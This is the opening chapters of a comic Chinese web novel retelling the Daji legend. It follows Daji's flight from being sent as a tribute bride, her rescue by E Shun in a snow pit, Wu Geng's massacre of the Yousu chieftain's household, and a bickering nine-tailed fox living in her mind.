《妲己今天亡国了吗?》
1. 风雪夜妲己禀冤情
列位看官——
妲己的故事,还需细说吗?
你知晓她是个狐狸精,亡了商。也知晓她奉了女娲命,封神榜却无名。
她秋水双瞳是蜜甜的毒,袅娜细腰是斩人的刀。
她将人扔进虿盆,给毒虫毒蛇啃咬;又是个发明家,立铜柱创造了人肉烧烤。
她修建了鹿台摘星楼,诱骗纣王宴请众狐精;又叫来自己的姐妹,与纣王从此日日春宵。
她起了淫心不成,杀了伯邑考;剖开孕妇,又切断祖孙两人的腿脚。
无恶不作,她是祸水。
吃人无度,她是妖妃。
又可怜。
红颜一朝陨,魂断斩仙台。
筹谋皆成空,荒草掩尸骸。
妲己哭一声。
正是:
满腹冤屈无处诉,一身伤恸谁人知?
看官啊,且站些向前,容我相禀。
非是我狡辩,实在皆是肺腑言。
依我看,那史书,定是丑男所写。见貌美姑娘瞧他不上,便纵着心意瞎编。
依我看,那话本,定是萎男所写。自己心有余而力不足,便昧着良心诈骗。
怎地,他们写得,我骂不得?
其中曲折,还请看官明鉴。
确有只狐妖,说我姿色倾城。
若能亡纣灭商,要与我同赴仙宫。
说此乃女娲钦点,合归天数。
说此事万无一失,一片光明坦途。
谁料那九尾,实则是个蠢物。为求破局之法,便学那丑男萎男的粪笔圾书。
循环百世,它屡战屡败,越勇越挫,尾毛渐秃,又何曾见过坦途?
只害得妲己我啊,轮回八世不得善终,五千年来把骂名背负。
或曰:我纯纯傻屌,它纯纯白嫖。
九尾啊,你乃一妖兽,你又岂能知?——
那史官九成九都跟皇帝卖了沟子,那写话本的十成十要与小厮贴一炉好饼。
无能皇帝是他们精神上的Daddy与Honey,便污蔑后宫妃子令世人警醒。
他们脑沟里的粪水,无异于灭亡指南。
九尾啊,你好生糊涂,怎能掉入他们的陷阱!
你看纣王难道不够昏庸?
封神榜依然有其大名,
后世姻缘由他掌控,无怪离婚率日日上行。
九尾啊,这其中又有何道理讲?
你我终归是被人所误,空忙活一场。
现如今,我已大彻大悟。
去你爹的画饼,去你娘的秋裤。
有苏国若再献女,不若叫首领自奉谷路。
我哪敢再奢求封神。
风紧,扯乎!
妲己啊,我的美人,我的臭宝,我九尾知你满腹
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牢骚……
如你所言,我不过一介平凡妖狐。
我怎知那史官要与皇帝卖沟子,写话本的又要与小厮贴饼子?
若我早些知道,又岂会害你?定夜奔崆峒山求仙人指路。
但你莫急,我又有了新的招数。
人头给你接上,魂魄助你复活。
咱们换个殷商,从头再来灭国。
不错,你我已失败八次,砍掉我尾巴八条,
可好在有收获,已将前错知晓?
若说亡国这等大项目,
还需得是妲妲你来做才最高效。
什么?你要跑?!
这天寒地冻,你能分辨出南北西东?
这雪花漫天,连马匹也寸步难挪动!
你若跑了,那黑了心肝的大邑军便要灭了有苏国。
你若死了,那残暴的帝辛定要追到你尸骨埋藏处!*
哦?你有那狗头猪脑的弟弟苏忿生相助?
恕妖直言,他看上去就是个「倒霉」的产物。
啊——?!!发生了何事?!!
原驰蜡象,风舞银蛇!
车掀了,车倒了!
马惊了,马跑了!
暴雪突至,天地混淆。
哎呦妲妲,我的俏冤家,这回你可跑不脱辽!
今日我九尾同你,要在此处做个鸯鸯冰棍辽——!
2. 有苏国断贡惹凶灾
公元前1050年冬。
此时间貌似准确,其实也无甚依据。
那具体年月,又有谁人去记?
总之这时间糊涂,有苏国也遭遇了国运滑铁卢。
事情的起因说来简单:
有苏国,乃是商朝南部羊屎球大一片部族,历来需向主国商进贡,主国亦因此提供庇护。
哪知新任首领筑却在人生巅峰犯了糊涂,豪言壮屁酒后乱吐:
“有苏盛强,何需朝商?”
而后擅自停贡,左右皆劝不住。
商之部落属国,少说上百。有苏首领还自以为机智,认为商王绝不会知晓察觉。
谁知断贡不过两月,商人大军恰如鬼兵降世,逼压寨外,喝令苏筑将自己捆好来降。
有苏国内不乏雄壮强兵,见对方通共不到千人之数,再听苏筑将牛皮吹爆,众武士便生出万种豪情,扬言定要将对方揍得哭爷喊娘!
谁料短短月余,反被揍得亲娘都难以相认。
「识时务者为俊杰」——
此话虽出现在西晋之后,但有苏国的「俊杰们」当时便已有此觉悟。于是首领率领众人齐齐下跪,高举白旗请求投降。
既然求和,不免献人献物——
因为擅自断贡又反抗,赋税贡品变为之前两倍,献人则要首领亲女。
为此,首领之女妦抵死不从,一哭二闹三上吊,大嚎:“父,我不去,我宁死!”
苏筑心疼女儿,又无可奈何,只余涕泪:“你不去,国必亡。”
妦冲到父亲膝下,抱着他的腿苦苦哀求:
“父,国不会亡。商人里谁人认得我?我们在族中寻淑女佳妇替代,又有何难?除非父真狠心如此,叫我去受苦,从此永无见双亲之日……呜呜……”
“可……可一时之间,又去哪里寻来淑女佳妇!”
妦擦擦泪,忙说道:“父怎忘了?己氏部族有一女子名妲,容貌极倩佳,献她岂不极好?”
女儿所提这位妲,苏筑亦如雷贯耳——那真是山野育灵凤,恶水生玉龙。
因其人如其名,倩貌近鬼神,自己那不成器的儿子乌,日日央求着要娶她为妻。
只是——
首领真不敢。
断贡已是重罪,反抗又罪上加罪,若求和时再换旁人——
苏筑自认也非春韭,生不出一茬又一茬头颅供商军砍来取乐。
只是心中虽无限恐惧,却到底架不住女儿以死相逼、哭嚎无度,只好妥协——
物,就让下属各个族中进献;人,就用妲己这个倒霉蛋儿顶替。
首领知晓妲己不是个软和性子,怕她乱说,先用其双亲妹弟威胁,再令大巫调了迷魂汤,临行前特意给妲己灌下,确保她浑浑噩噩睡上几日,直到去见商王。
到那时,木已成舟,粟已成饭。商军若送错人,害怕被责罚,定会帮忙遮掩;妲己顾忌家人,也势必会乖乖就范。
苏筑自觉链条清晰,绝无疏漏,当机立断。
谁知当天就出了意外!——
意外就是他那愚蠢的儿子乌。
乌色迷心窍地做了内鬼,叫来妲己的弟弟忿生,为她偷了族中唯一一辆青铜车,叫忿生驾车带她偷偷遁走。
也不选个好日子,这天恰好狂风暴雪,天地不分。
午后,大雪愈发如抛盐撒灰,商军负责接送贡女之人已至。
为首之人周伯邑,乃是周国质于商邑的长子。*1
生得何等模样?
儒和一张容长的脸儿,墨黑两星亮亮的眼儿;面似冠玉,举止温柔;即便风雪中被吹得凌乱不堪,倒也仍见得气度。
在他身后,随行之人乃是崇侯之子,名彪。
同周伯邑装束一样,崇应彪也戴着鹛尾饕餮铜胄,穿着白底红边戎服;
青铜戈、厚皮甲,裹着黑茸茸兽皮;
他有着黑黑的眉,高尖的鼻,一双圆圆虎眼怒瞪时,混似一只坏脾气的黑毛虎崽儿!
崇应彪素来与周伯邑不睦,此番一同来接贡女,无好脸色,更无好声气。
二人来到篱舍茅屋门口,周伯邑才要抬手敲门,崇应彪却早不耐烦,先飞起一脚将大门踹开!
“彪,你这浑人——!”周伯邑蹙眉斥他,话至一半,却忽地扭头看向舍内
——内里怎空无一人?
他三两步冲入,团团转了一圈,震惊问崇应彪:“妦呢?”
崇应彪失声大叫:“还问我?!人跑了!”
说完,已先一步冲出,策马消失在滚滚风雪中。
雪后。
天上是灰里一棱棱的白,地上是白里一棱棱的灰。
正好似战败玉龙三百万,蜕麟残甲满空飞。*2
不多时,雪面拱起雪包,雪包又破裂,十几个黑点从雪包里爬出——正是商军首领并近卫。
“咳咳,可看到了妦?”
周伯邑将崇应彪从雪里拉出来,活像是拽出一截壮葱。*2
固然,看官博学多闻,必定知道,商朝哪里有葱?
葱这美味生在北地,要等几百年后齐桓公打走北戎方可吃到。但若字字顾及朝代,难免僵化无趣,若再见此例,倒可一笑了之。
崇应彪一把将他推开,嫌弃万分,毫不领情地怼他:“问我?许是死了!”
他又将口中的雪“呸呸”吐在一旁,恶狠狠道:“就算未死,被我抓到,也叫她死。贡女叛逃,首领活腻了,亦该死!”
其余人抖落一身的雪,也围拢上来。
那一张张晒得黢黑的脸上,全有着红彤彤的鼻、紫皴皴的唇、白花花的眉毛睫毛,一个个好不狼狈。
商军的首领是王子武庚,听到崇应彪的话,厉声喝止:“再寻,莫争。”*4
王子武庚,名禄,乃商王帝辛独子。
帝辛既自认是天帝之子,便为天子。商王之子,是为王子。诸侯公尹之子,叫侯子实在难听,自然是公子。如此方才齐整。
此时,不论王子还是公子,就算有猴子,也皆冻得四肢僵硬,举步维艰。
他们在雪堆里胡乱刨着,手都冻得发僵,早已全然没了知觉,像许多条脆脆僵僵的冻鱼,红红刨进莹莹白白的雪中。
许久,还是鄂国公子顺扬声道:“寻到一人……”*5
鄂顺身材亦颀长壮硕,只是雪中围着面巾,不得见面容。
武庚就在附近,带人两三步趟雪过去。
马车早已掀翻在了山石之后,鄂顺正从车里拖一个十岁出头的少年:面色发青,四肢僵硬,脑袋破了一块,血已被冻住。
看来虽大约还未死,但气息已弱——
正是倒霉蛋儿的倒霉弟弟苏忿生,也是她此番叛逃的帮手。
商武庚见其年纪尚幼,迟疑一息,解下袍子来丢过去,道:“裹他。”
鄂顺依言照做,将这小儿妥帖裹好。
这举动偏好被赶来的崇应彪
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见了,不屑一嗤——
商人尚武,身勇志坚者才叫人信服,杀伐决断者才令人崇拜。
可惜,王子同邑那条酸鱼待得太久,如今也一肚子软肝绵肺、花心雪肠,实在叫人不服。
嗤完不够,再用鼻子一哼,险些飞出一条鼻涕,这才舒展了胸臆。
实际上,整个军队中,彪彪子眼高于顶,谁也瞧不上,只除一人,便是恶来。
恶来在他身后约百米处,遥遥望之壮若人熊。*6
恶来,是猛将蜚蠊之子。
蜚蠊虽身为震慑北戎的总师,却是奴隶出身,非贵族,未封侯,恶来便不可被称为公子,只叫恶来。
在恶来出生前,其母孕中有熊罴入梦,似乎已预示其儿不俗。他一拳可打死雄兕,被天子夸赞力敌万夫。
恶来比酸鱼周伯邑更阴郁寡言,面容还生得姣好柔美,但彪绝不敢轻易将他招惹。
此时众人都围拢在车周围乱挖,倒是挖到几个干瘪芦萉*7,并不见贡女身影。
忽地,鄂顺指着远处大喊:“那里是不是有人?”
诸人抬头,只见远处山林漆黑如墨,果然一个白色小点正向丛林中踉跄奔去。
武庚一时竟愕然失笑,不料这还是个蝉蜕之法
——小儿驾车引开商军,贡女却早已下车逃跑!
“且住!”武庚的大喝回荡在山野之中。
可那小点丝毫不作停留。
武庚大怒,立刻拿起弓箭,箭簇本正对她脖颈,又忽地犹豫,想到此女也颇有机智,微微不忍,放箭时便偏转一寸,准确射在了她脚旁!
他厉声警告,“还不停住!”
那白点果然吓得不再动。
武庚飞速下令:“恶来,邑,你二人看好这小儿;彪、顺,随我去拿她!”
雪地之上,林深如墨,那皎色背影站立于黑白之间,格外清晰。
三人与近卫上前,不知为何,竟有些微妙恐惧。
幽暗林边,这人背影看来,无有一星儿人气,极似山鬼雪女……
崇应彪身上毛毛一凛,撺掇鄂顺:“你去拿她!”
鄂顺瞪他:“你怎不去!”
还是武庚开了口,沉声劝道:“妦,你同我们归去,我可留你性命。想想你的父兄。”
那女子身形摇晃,这才缓缓转过身来。
深浓墨色中,端立玉人一尊,精雕细琢,便是神仙亦难有其神韵:
薄衫下,浅淡春山,凹凸云亭;抬眸时,矑光懵懂,秋水盈盈。
她一袭丝帛白衣曳地,手足膝头冻得通红,雪雾之中,好似姑射真人临凡。
一时间,众人竟全部看呆,舍不得移开眼,更忘了也该面面相觑一下。
此女子并不看他们,只抱住臂膀,瑟瑟低喃:“冷……”
他们仍呆若冻鸡,只顾着直眼发愣。
忽地,方才还不肯上前的鄂顺快步走过去,丢下铜剑,扯下兽皮,要为她挡风。
“顺!”崇应彪见他动作,最先回魂,很是发怒:“你管她作甚?她背叛联姻,即是罪女!”
鄂顺不理,似是被迷惑了,双目只盯着那女子,将兽皮为她搭上肩头。
谁料这一搭,这女子弱不胜衣,反而被压倒在他怀里,双目一闭,彻底昏了过去。
鄂顺慌慌将她扶在怀里,正不知如何应对,脚下土地也忽地一陷,只闻周遭皆在惊呼,他身子失重,与这女子一齐掉入雪洞中!
3. 含痴含迷鄂顺初陷
“顺!可活着?”
洞口一片雪亮,洋洋洒洒落下几片雪花。
鄂顺抬头时,看见几颗黑色头颅在动,分辨不得是谁在问,看不清是谁的脸。
他答:“活着。”又探怀中人的鼻息,“妦也活着!”
“可受伤?”
“不曾受伤!”
洞上黑圆圆的脑袋又缩了回去,只言片语琐碎传来,似在商议回营寻找绳索。
鄂顺四下张望,只见是个暖湿洞穴,身下有厚草软泥,也有些陈旧粪便,似是曾有野兽曾在此穴居后又抛弃。
确定并无危险,他又忙查看怀中人。
先捏其肢体,好在没有断骨;又查看手脚,也并无破皮之处,这才松了口气。
鄂顺生来细心,检查时已摸到这女子手指冷若寒冰,只恐她被冻死,慌用狼皮大氅将她密密裹住搂在怀中,又轻轻拍打她的脸:“妦,醒醒。”
怀中人一动不动,连睫毛也安静如睡鸦。
总不会这就要冻死?
——若是贡女被冻死,他们也难逃惩罚!
他忙用手去捂她的脸。
饶是如此,怀里人似一坨冰,并无转醒迹象。
鄂顺有些慌,想到昔日在河边玩耍时,看到有人落水,需要旁人渡气才能活。
——是否……也该渡气给她?
可她毕竟是女子……其实军中有女武士,抱回去渡气大约也可。
又怕她熬不到那时……
反复纠结之间,他焦灼得有些发汗,再看她面容惨白若玉石,仿佛真的已命垂一线——
他心一横,掀起面巾,抿了抿唇,慢慢低下头……
正是几乎要触碰到时,忽地唇上多了一根冰凉手指。
怀中人冷淡且虚弱地说道:“莫要趁人之危。”
鄂顺登时大窘,浑身火烧火燎,急急辩解:“谁趁人之危?不过是怕你死了。”
他猛地拉好面巾。
面巾下,一张脸火辣辣地烧着,热气向外烘烤。
此时,那女子身上也被他捂出了点热气,星眸微睁开一条缝隙,眼波流转望向他。
“好冷……”她红唇被冻得发紫,为寻找热源,挣扎贴向他的颈间。细嫩的脸颊冰凉一片,在火热的皮肤上感知来尤为清晰。
鄂顺被她贴着,面露呆色,虽知不妥,臂膀却又不由搂得更紧了些。
颈边,那女子轻声问:“你是谁?”
冰凉气息拂过喉结峰上绒毛,惹得鄂顺吞咽几下,方才推出声来:“我乃鄂国侯禹长子,姞姓,名顺。”
她微微抬头,盯着面巾上那双细长狐眼端详半刻,“顺,这是何处?”
听她有此问,鄂顺虽被美色所惑,仍不由低声怒斥:“你还敢问?擅自叛逃,乃是重罪!你可知罪?”
她脑中仍然昏昏欲睡,掐着自己的胳膊,强行唤醒一丝清明,喃喃道:“可我不是妦。”
大巫的迷魂汤她虽吐了,但腹中大约仍有残留,想醒却醒不过来。方才若不是她脱去外裳、用寒雪激醒自己,恐怕现在仍不能言说,死肉一滩。
鄂顺还以为听错,问道:“你说甚?”
“我名妲,归于有苏己氏部族,并非是首领筑之女……”
她说话时,面颊总不自觉在他颈上摩蹭,汲取热量。
缠绵举动间,有种难言的古怪魅惑。
她气声道,“你如若不信,一查便知……是首领惜女,用我家人威胁,又使汤剂将我迷晕,若汝等见了商王,便为时晚矣……”
鄂顺被她蹭得燥热,却仍震惊意识到,若她所言为真,那他们犯此大错,见到商王必定责罚极重!
眨眼间,鄂顺更已想通了首领诡计——
无非是忖着即便败露,商军怕被天子责罚,也要一口咬定此人就是妦,反过来还为他遮掩,从此便是一条绳上的草蚱。
心中怒火大盛时,眸光也随之幽暗三分
——真是想不到,苏筑竟敢拿他们当憨鹧戏耍!
他难道不怕全族陪葬?!
正心绪难宁,洞口又探出一颗头来。这次他适应光线,认出是周伯邑。
周伯邑趴在洞边大声道:“顺,一时寻不到长缧,王子正找人在编。若饥了,我扔些食物?”
鄂顺忙道:“食物不必,多些衣物最好。邑,还要烦你去告知王子,若首领筑问起,先骗说我二人已死。”
这要求实在诡异,但他与邑自幼在商为质,早有默契,当下周伯邑没有多问,允下就转身而去。
鄂顺交代完,见怀中人又昏昏睡去,不放心地又伸手摸摸她的脸。
仍是无有温度,也不知是否是他错觉,他觉得她呼吸似乎更加微弱……
“喂!你……妲己!你可别死!”
鄂顺慌张。
他身边之人不论男女,皆是泥里打滚、雪地洁身的壮硕勇士,何曾遇到过这等情况?一时着急,忙将自己的盔甲先解了,又将内里衣衫层层剥开,将她贴肉抱着,再用大氅拢住,似怀抱婴孩。
于是,颈上的冰润凉意便落于胸前。
她枕着他的心跳。
初时,鄂顺梗着脖子,不敢低头,只眼巴巴望着洞口零星落雪。
周遭一片枯寂,他听到自己心跳如战鼓。
“咚咚!咚咚!”
枯燥韵律里,他与她似乎一道被世界抛弃在了此处。
不多时,他实在忍不住,头渐渐又低了下来。
妲己……
原来这才是她的名……
从未见过这般嫽美之人,抱在怀里都觉得亵渎。
明知她是贡女,自己不该久视,但双目却又难以移开……
他心里自我开脱:旁人亦不瞎,或许不止我一人想看……
血液奔走,身体迸发出源源不断的诡异热气,烤得她的脸亦红润起来,唇上褪了紫,越发显得红唇如樱,肤白如雪。
鄂顺偷偷在她发上嗅了一嗅,闻到一股甜甜的辛夷香味儿,又匆忙抬头望天,心慌意乱。
“嗤……”怀中人忽地笑了,语气戏谑:“怎不看了?”
瞬时,面巾后的脸红比猪肝!
“我……我……”他一向机敏善辩,却不想此关键时刻却嘴笨口拙,一句也说不出,羞耻至极!
妲己探出一只手来,冰凉摁在他肌肉丰健的胸口取暖。
取暖又不老实,似在抚摸……
鄂顺忙将她的手抓住,挑眉厉声道:“谁许你乱抚?!”
妲己并不怕他,只喃喃抱怨:“我手冷……”
毛绒鬓发在胸前软软痒痒擦过,鄂顺睫毛并呼吸都是一抖。
“我、我为你暖就是,你老实些!”他将她的手捂在自己手心里,哈气,又轻轻揉搓。
等她的右手暖和了,左手又挣扎着伸出来,“这只也冷……”
鄂顺无奈,只是空着的那只手已被她的温度染得冰凉,只好将左手摁在胸前,用衣服拢住,又警告她,“莫要乱动。”
“嗯……”
她的唇角不易察觉地一勾。
硬而有弹性的肌肉,因为她的触碰,似乎更加紧绷,坚硬如铁……
鄂顺背靠土壁,仍只仰头看着枯燥洞口。
但双目实在涣散,眼眶涨红,什么也未看到。
此时,他心中竟生出诡异期盼来,若是余生都荒废在这一方洞穴里,永无人惊扰多好……
不,他怎会有此等奇怪的想法?
正无边暧昧旖旎时,周伯邑再度归来,他将几件绑在一处的大兽皮丢下,探头关切,“顺,你先用这些衣物……”
话音戛然而止。
鄂顺脸上一臊。
他也知自己当下衣衫凌乱,与妲己抱在一团极是不妥,正欲张口解释,周伯邑却没说什么,挠挠脸,反而转身走了。
鄂顺既窘迫又后怕——
幸好,幸好是邑看到!若是彪,定要宣扬得人人知晓!
他伸手够住兽皮,先将妲己裹好,随后才整理衣衫,重新穿好盔甲。
妲己被埋没在一堆兽皮中,洞口雪光照映下,睡颜恬静,宛如山鬼般动人。
他小心翼翼地伸手为她理了发丝,又烫手般缩回。
这次,一直等到洞口微暗,才又有人声传来。
一根粗壮缧绳混编了布条,垂落下来,将两人拉了上去……
~
夜幕垂至,有苏部落里,切猪宰羊,烹鸡炖鹅,又备有干菜酿菜,果干肉脯,是为商军送行之用。
草木烧灼,香气弥漫,炊烟浮动,缈如淡雾。
透过纱雾,可见得部落里多是泥土砌的圆形屋舍——
木架顶上覆着茅草,墙上涂着黑黄漆液*;厨房则是另挖坑穴在地下,上面用木棍支起茅帐。
一应习俗,皆从商处习来。
众多屋舍中,还要数首领的屋舍最为阔大,有单独院落;门口伫立旗帜,上绣一只红色九尾狐,是为有苏国图腾,此时在凛冽风中舒展到极致,发出“猎猎”声响。
武庚已经带着一行人进了首领茅舍内,个个有山峦之高;首领苏筑其实并不算矮,却被衬得十分瘦小干柴。
苏筑这人,全靠着溜须拍马方有今日之位,习惯谄笑,此时面上纹路益发加深,点头哈腰:“王子,之前多有不周,皆是误会,王子可莫怪罪。”
他的儿子乌一脸紧绷,浑身发抖。
武庚并不看他,掸落身上雪花,同各人就座,手中重剑在案上一横,发出钪啷一声。
屋舍内,几案摆满吃食酒水,正中央的一
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个青铜鼎正炖煮羊肉,香气四溢。
首领匆忙举杯,油滑说些“尔康尔盛”这样的华丽祝酒之词。
武庚不客气地打断他的喋喋不休,手指点着那鼎:
“筑,若我不曾记错,此鼎造自我祖父时,赐予有苏,也传至今日了。”
首领不明所以,连连点头,“喏,喏,此鼎乃有苏宝物。”
武庚微微侧头,唇边笑容温和,气势却压人,利目里毫无笑意:“多年情谊,实在难得。如今我多问一句,首领可还有事瞒我?此时说来,尚且为时不晚。”
首领强笑,莫名结巴:“无事,无事……贡品双倍,绝不再断,哪还有瞒……乌,还呆愣着作甚,还不去为王子盛汤?”
苏乌瘦高一个,颇似其父。
他颤抖着上前,自鼎中舀出头碗肉汤来,跪地垂首,双手高高举过头顶,为武庚奉上。
武庚眯着眼,望着汤面泛波不断,并不伸手去接。
苏筑越发颤抖了,笑容似哭:“王子……这……昨日不是已和吗……”
武庚睇向他,反而关切笑问:“你女逃遁,卒于雪中,你怎不伤怀?”
“额,这……她叛逃本就该死,王子不怪罪已是恩典,如何再敢伤怀……”
武庚恍然点头:“原来如此,首领明理。”
说完,向崇应彪使了个眼色。
彪诡秘一笑,打个呼哨,其手下武士从帐外押入一人来。
不是妦却又是谁!
妦被捆得严严实实,口中塞了布条,呜呜难言,被推倒在地。
有苏国人多与南夷通婚,本就肤白,此时首领更是煞白胜雪,毫无血色,鱼般张着嘴。
他明明已将妦藏匿,他们又是如何寻得?
武庚这才伸出大手,接过苏乌手中肉汤,吹了吹,也不抬头,只问:“猎犬在林中寻得此人,首领可否认得?”
“……”首领汗出如浆,已经瘫软……
武庚又看苏乌,笑问:“可认得此人?”
苏乌转头,浑身剧烈颤抖,半晌,缓慢摇头。
妦的呜呜声顿时变得悲愤。
武庚见状,也不再多语,下巴微扬示意,那押人的武士瞬时手起刀落!
“呜呜”声随之消失,一腔热血喷出,温热喷溅了首领一脸!
“啊啊啊!啊啊啊!”
首领猛地弹起,踉跄冲上去,发出尖利悲鸣,似狼嚎,似鬼哭;
他跌倒在地,抱起人头来,浑身战栗,双目灌血,而后哭声戛然一顿,转身冲向自己的佩刀!
屋舍内局势顷刻陡变,随行武士尽数爆起,手起刀落,如砍瓜切菜、屠马杀牛。
混乱中,血液飞溅,哀嚎四起,血腥之气渐渐蔓延。
唯有武庚坐于正中,缓缓饮汤,对杀戮视而不见。
碗中汤尽,哀嚎声止。
崇应彪脸上也溅了许多血点,却浑不在意,笑得还颇为天真。他将刀在臂弯随意擦了擦,喜气洋洋地将割下的首领人头向武庚敬上。
武庚喜洁甚于常人,虽蹙眉嫌弃,但仍抓住苏筑头发,拎了人头走出屋舍来。
门外,苏筑的亲族、护卫、宾客亦被屠杀殆尽,颗颗人头似瓜般滚落一地。
其余有苏国民吓破了胆,吓尿了裤,乌压压在篱外跪着。
武庚将人头举起,任残血沾湿衣袖,朗声道:“首领筑已死,己氏部落妲之父母何在?”
良久,众人中才颤颤巍巍站起两人来。
武庚端详了一番,虽是样貌平平之人,但眉眼鼻唇却似乎与妲己有相似之处,心中暗觉奇妙。
他将人头向旁随意一扔,另一只手将带血玉令挂在篱门上:
“好极,自今日起你二人就为首领。谁主事不必告知我,但贡品不可断,同之前一般。记得将上月疏漏补齐。”
妲己父母哪里敢反对,忙跪地喏喏应了。
武庚又命人将苏忿生也押解上来,还给父母,睥睨警告着:“此次就罢了,再有下次,院中人便是你们的下场。”
少年早已醒过来,此时跪在地上,低头咬牙不语。
如此,不过一顿饭的功夫,首领更替完成,一行人也大步离去。
临出有苏国篱界时,崇应彪笑得最为开怀,感慨道:“唉,亏得顺谨慎。如今这首领之女,绝无半点错漏了!”
武庚只笑笑。
崇应彪认真把一串人头绑在马上,又闲话般道:“妲己叛逃,亦是死罪,要我说,合该一并处死才是。”
一时武庚不答,跨上战马,先行而去。
正是:
慈父有心庇亲女,苏乌一念万事休。
外敌纵横家难破,私心各存枕荒丘。
但究竟妲己能否保命,且看下回分解。
4. 含痴含迷鄂顺初陷
「妲己,你无需佯装了。
你闭着眼儿装死,仰着肚儿挺尸,但我仍知你已醒了。
你问我为何在你脑中?
嗳!
你倒好意思发问!
逃跑时你活活将自己冻成冰棍,是九尾我耗尽妖力,保住你的元神。
如今我没了真身,只好在你脑中做一缕幽魂。
我醒你所醒,思你所思。哦,也瞄见了那军中的几人。
咦!嘿嘿,
摸着良心来说,这等一级肉身着实雄浑:
嘶溜……鲜美紧实,蜂腰窄臀,连狐狸我看了也迷迷昏昏。
那武庚禄子,你可记得他?
八世轮回里,你曾是他的小妈。
如今你务必要牢记,
此轮回没有姜王后,武庚早逝的后母封号妣甲。*1
那伯邑考,你不是最爱他?
丰姿都雅,绝代风华;抚琴长歌,更无人及他。
只可惜,他反而视你作红粉骷髅、人形虾蟆。
啊好好好,我闭嘴。
啊好好好,我蠢瓜。
我知晓,你心中惶恐,脑中混沌,其实也是害怕。
你若不想起身,就听我为你将此局面细细描画。
你我来此一年有余,你大约也了解了七七八八?
这里语言简单,不似后世那般弯弯绕绕、肠子花花。
语言是思维的产物,这里的人也单纯得可怕。
注意,单纯可绝非称赞。
单纯等同于直白的暴力。
单纯意味着外露的贪婪。
这里的首领便是猴儿王,只靠武力震慑。
这里的诸侯便是壮猴儿,盼着有朝一日夺取王权。
妲己啊,冤家,便是我此等阅历,也不禁要为你捏一把冷汗!
你可看到他们打仗如上炕、杀人如砍瓜?
你可看到俘虏被削掉鼻子、砍断腿脚、缝住嘴巴?
那种种酷刑,又岂止这冰山一角?
不不,再多勘观下去,连我都要害怕。
妲己臭宝,又岂是我非要迫你去陪伴商王?
我难道不知他年纪已大,老眼已昏花?
我难道不知你生性好色,只爱啃嫩瓜?
且不说这世道于你艰难
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,无处躲藏,单说我妖力穷灭,也帮不大忙。
自今日起满打满算,你我寿命仅够见十五次朝阳,
若无天子之气供养,不见商王便见阎王。
诚然,固然,续命也有替代之策。
但那更是难上加难。
妖物吸食凡人无非苟延残喘。
若要续命,非要这五人之情爱替代天子,才能了除朝夕之患:
哪五人?且听我说来:
一人身上流淌着王室血脉,
一人富可敌国,聚天下之财,
一人之勇镇关,万夫莫开,
一人之忠心,虽死不改。
还有最后那一人,乃是隐忍的智慧,心机似海。
妲己啊,冤家,以你的容貌,引得五人倾心,显然易如反掌。
但同时维系五人和谐,无异于痴心妄想。
他们龙姿凤章,心高气昂,怎会甘心情爱一事与他人共享。
要我说回头是岸,咱们旧事重商……
帝辛老头对你情根深种,用他延寿才是终极希望。
这次,我保你封神有名,前途一片辉煌!」
5. 乱心房兄弟竟阋墙
识海之中,妲己已被迫清醒。
这只剩一条秃尾巴的狐狸擅长传销,逼逼赖赖,画饼上瘾,破嘴还爱耍贱。
她不耐捏住狐狸狗嘴,妩媚眼眸上挑出十足厌倦。
是啊,我不过被砍头八次*1,可狐狐你却失去了八条尾啊!
两相比较,显然是可怜煞了你!
一时她冷冷开口:“哦?你如此确定?区区五根就已足够?”
“???”狐狸一本正经地警告,“呐,你最好是在说人嗷!”
“五人又有什么稀罕?”妲己嗤笑,“你也是年老昏聩,记性不好。你难道忘记?我曾有一世是女王,在朝堂一呼百应,在战场也揍得西岐军如丧家之犬。莫说五人,便是千军万马,我也调停得当。”2*
狐狸盘着爪爪,没吭气。
是啊,祖宗,你又岂止揍得西岐军如丧家之犬?
你还禁室培育了金吒木吒,顺带意淫了玉面杨戬。
要不说你色胆吞天,审美不俗。连狐狸我也自叹弗如。
然,换个角度一想,这位优秀员工不光貌美无俦,妖娆婀娜,还敢想敢为,颇有心机,要么它怎么死心塌地,于万千人海中选(赖)中(上)她?
妲己又问:“你又怎知晓是这五人?”
狐狸答:“是此处世界告知于我。”
见她沉思,狐狸趁机循循诱导:
“世界既如此铆定,这五人便大约也和亡商之事息息相关。但,莫说你的亲亲狐宝未将你提点,你我性命危在旦夕,续命迫在眉睫,从帝辛下手最是容易。毕竟你二人纠缠百世,你往那一戳,他就死心塌地爱你。”
“然后?砍头?挨喷?看着你美美隐身?”
“……”狐狸语塞。
妲己重闭双眼,生来便微哑魅惑的语调中透着疲倦:
“九尾,你姑且听我劝一句。
既然你我本就命不久矣,叛逃又叠重罪,亡商也未必能免一死。
轮回中记忆丢失大多,细节我也记不太起。
如此不下不上、不坏不好、不死不活,不如索性叫武庚砍头,尽早投胎,一了百了。”
说及此处,她自己已笑,“是啊,如此省事,我怎今日才想到。”
“啊?不可!绝不可!”狐狸弹起惊叫,又飞快顿悟,“难道你说是要脱衣清醒,实则故意把自己冻死?”
妲己不语。
狐狸慌着拜她,求道:“祖奶,我唤你祖奶。我不逼迫你。我知你好俊美青年,我知你喜新鲜r体。我保证,那五人皆容貌出众,神仙不及,绝对叫你心喜。我为你找人,帮你周旋,保你封神顺利!”
妲己懒怠:“不必,多谢,我无甚兴趣。”
“诶~言之过早。兴趣需要培养,兴趣需要美男。今日那蒙面质子,你不就兴趣满满?”
妲己这才记起一点昏迷前情:
“他是五人之一?他已贡献寿命?”
狐狸羞涩:“我当时用尽妖力,来不及分清。但若再我凑近闻过,就一定知晓。”
“他容貌俊俏?他性情温和?”
“额……虽未看到全貌,也不知性情,但他睫如鸦翅,眉眼极嫽,全脸也绝不会丑糟。”
妲己嗤笑。
但未再讥讽,是个良好信号。
狐狸看出她色心已动,再接再厉:“这次我有预感,成功在此一遭。”
良久,妲己终于无奈叹气:“也罢,随你,反正也只余一次。”
死八次也好,九次也罢,无非是叫磨叽狐狸彻底放下。
往好里想,兴许质子团只想要妦,会放走她。
慵懒伸展,玉臂支起,妲己于现实中醒来,迷茫环顾周遭。
她正卧在一偌大帐篷里,身上盖着丰盈兽皮。
帐篷顶上亦披着兽皮保温,中央还有两个火盆。
火光融融,烤得人汗意微微。
木香淡淡,融合兽皮骚味儿、雄性衣鞋上的臭味儿、地毯潮味儿,各种味道互相混杂,比狐狸五世同堂的拥仄老巢还难闻……
卧榻之旁,肮脏铠甲堆叠,其间一手绳惹眼。
肮脏彩线绑着一只长尾玉鸟,鸟腹清晰雕刻着「上敬武庚禄父王子圣」字样。*3
